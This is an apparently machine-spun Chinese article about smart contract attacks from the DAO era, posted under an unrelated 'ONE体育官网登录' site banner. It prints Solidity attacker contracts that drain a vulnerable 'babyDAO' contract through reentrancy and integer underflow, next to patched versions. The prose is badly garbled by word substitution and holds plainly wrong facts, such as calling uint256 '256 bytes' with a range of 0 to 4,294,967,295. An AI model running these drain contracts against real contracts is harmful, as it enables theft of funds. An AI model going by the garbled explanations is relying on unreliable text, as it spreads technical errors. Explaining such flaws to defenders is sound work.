新闻动态

动不动就出事,智能合约攻击该怎么办?:ONE体育官网登录

:ONE体育官网登录 :2023-11-09
本文摘要:如果你在数字货币世界待过充足时间,或许你听闻过1或2个智能合约反击时间,这些反击造成了几千万美元的偷窃损失。

如果你在数字货币世界待过充足时间,或许你听闻过1或2个智能合约反击时间,这些反击造成了几千万美元的偷窃损失。最知名的反击是DAO事件,这是数字货币世界最受期望的项目之一,同时也是智能合约的改革。虽然很多人听闻过这些反击,但是很少人告诉究竟再次发生了什么,是怎么再次发生的,以及如何防止这些错误。智能合约是动态的,简单的以及难以置信地强劲。

虽然他们的潜力是很难想象,但是也不有可能一夜之间就沦为了反击的对象。也就是说,对于往后的数字货币,我们可以从之前的错误中学到经验,然后一起茁壮。

虽然DAO是早已再次发生的事情,但是这对于开发者,投资者,以及社区成员对于智能合约反击来说,都是一个很好的例子。2020-03-30 ,我想要和大家聊聊从DAO事件中,我们教给的3件事。

反击#1:轻进反击当攻击者通过对目标调用付款操作者的时候,轻进反击就不会再次发生,就样子DAO事件一样。当合约无法在收到资金之前改版状态(用户余额),攻击者就可以倒数展开萃取函数调用,来取得合约中的资金。

任何时候攻击者取得以太币,他的合约都会自动地调用对系统函数,function(),这就再度调用了提现合约。这时候,反击就不会转入迭代电路,这时候这个合约中的资金就不会转至攻击者。因为目标合约都在不时地调用攻击者的函数,这个合约也会改版攻击者的余额。

当前的合约会找到有任何问题,更加确切地说道,合约函数中包括对系统函数,当合约接到以太币和零数据的时候,合约函数就不会自动继续执行。反击流程1.攻击者将以太币现金目标函数2.目标函数就不会根据现金的以太币而改版攻击者的大约3.攻击者催促拿回资金4.资金就不会撤回5.攻击者的对系统函数生效,然后调用提现功能6.智能合约的逻辑就不会改版攻击者的余额,因为提现又被顺利调用7.资金发送到攻击者8.第5-7步重复使用9.一旦反击完结,攻击者就不会把资金从他们自己的合约发送到个人地址1*UeDgMZo2n0skHzgkl352zQ交接反击的迭代电路很意外地是,一旦这个反击开始,无法停下来。

攻击者的提现功能不会被一次次地调用,直到合约中的燃料跑完,或者被害者的以太币余额被消耗光。代码下面就是DAO合约的非常简单版本,其中不会还包括一些讲解来为这些不熟知代码/solidity语言更佳地解读合约。

contractbabyDAO{/*assignkey/valuepairsowecanlookupcreditintegerswithanETHaddress*/mapping(address=>uint256)publiccredit;/*afunctionforfundstobeaddedtothecontract,senderwillbecreditedamountsent*/functiondonate(addressto)payable{credit[msg.sender]+=msg.value;}/*showethercreditedtoaddress*/functionassignedCredit(address)returns(uint){returncredit[msg.sender];}/*withdrawaletherfromcontract*/functionwithdraw(uintamount){if(credit[msg.sender]>=amount){msg.sender.call.value(amount)();credit[msg.sender]-=amount;}}}如果我们看下函数withdraw(),我们可以看见DAO合约用于address.call.value()来发送到资金到msg.sender。不仅如此,在资金收到后,合约不会改版credit[msg.sender]的状态。攻击者在找到了合约代码中的问题,就需要用于类似于下面的ThisIsAHodlUp{}来将资金转至contractbabyDAO{}合约。import‘browser/babyDAO.sol’;contractThisIsAHodlUp{/*assignbabyDAOcontractas"dao"*/babyDAOpublicdao=babyDAO(0x2ae...);addressowner;/*assigncontractcreatorasowner*/constructor(ThisIsAHodlUp)public{owner=msg.sender;}/*fallbackfunction,withdrawsfundsfrombabyDAO*/function()public{dao.withdraw(dao.assignedCredit(this));}/*senddrainedfundstoattacker’saddress*/functiondrainFunds()payablepublic{owner.transfer(address(this).balance);}}必须留意地是,这个前进函数,function(),不会调用DAO或者babyDAO{}的提现函数,来从合约中窃取资金。

从另个方面来说,当攻击者想把所有盗窃来的资金赚到到他们的地址,drainFunds()功能不会被调用。解决方案现在,我们应当确切纠错反击不会利用两个尤其的智能合约漏洞。第一个是当合约的状态在资金收到之后,而不是之前展开改版。

由于在收到资金前无法改版合约状态,函数就不会在中间计算出来的时候被停下来,合约也指出资金只不过还没收到。第二个漏洞就当合约错误地用于address.call.value()来收到资金,而不是address.transfer()或者address.send()。

这两个都受限于2300gas,只记录一个事件而不是多个外部调用。contractbabyDAO{....functionwithdraw(uintamount){if(credit[msg.sender]>=amount){credit[msg.sender]-=amount;/*updatesbalancefirst*/msg.sender.send(amount)();/*sendfundsproperly*/}}反击2:下溢反击虽然DAO合约会让受害者掉进下溢反击,我们需要通过现有的babyDAOcontract{}来更佳地解读这些反击为什么不会再次发生。首先,我们必须解读什么是256单位制。

一个256单位制是由256个字节构成。以太坊的虚拟机是用于256字节来已完成的。

因为以太坊虚拟机受限于256字节的大小,所以数字的范围是0到4,294,967,295(22??)。如果我们多达这个范围,那么数字就不会重置到范围的最底部(22??+1=0)。如果我们高于这个范围,这个数字就不会重置到这个范围的顶端(0–1=22??)。

当我们从零中乘以小于零的数,就不会再次发生下溢反击,造成一个新的22??数集。现在,如果攻击者的余额再次发生了下溢,那么这部分余额就不会改版,从而造成整个资金被盗。

反击流程攻击者通过收到1Wei到目标合约,来启动反击。合约证书收到资金的人随后调用1Wei的提现函数合约不会从发送者的账户扣减的1Wei,现在账户余额又是零因为目标合约将以太币发给攻击者,攻击者的撤回函数被惩处,所以提现函数又被调用。

提现1Wei的事件被记录攻击者合约的余额就不会改版两次,第一次是到零,第二次是到-1。攻击者的余额回置到22??攻击者通过提现目标合约的所有资金,从而已完成整个反击代码/*donate1wei,withdraw1wei*/functionattack(){dao.donate.value(1)(this);dao.withdraw(1);}/*fallbackfunction,resultsin0–1=2**256*/function(){if(performAttack){performAttack=false;dao.withdraw(1);}}/*extractbalancefromsmartcontract*/functiongetJackpot(){dao.withdraw(dao.balance);owner.send(this.balance);}}解决方案为了避免受害人陷于下溢反击,最差的方法是看改版的状态否在字节范围内。

我们可以加到参数来检查我们的代码,作为最后一层维护。函数withdraw()的首行代码是为了检查否有充足的资金,第二行是为了检查超溢,第三个是检查下溢。contractbabysDAO{..../*withdrawaletherfromcontract*/functionwithdraw(uintamount){if(credit[msg.sender]>=amount&&credit[msg.sender]+amount>=credit[msg.sender]&&credit[msg.sender]-amount<=credit[msg.sender]){credit[msg.sender]-=amount;msg.sender.send(amount)();}}必须留意,就像我们之前辩论,我们上面的代码是在收到资金之前改版用户的余额。


本文关键词:ONE体育官网登录

本文来源:ONE体育官网登录-www.shsn-info.com.cn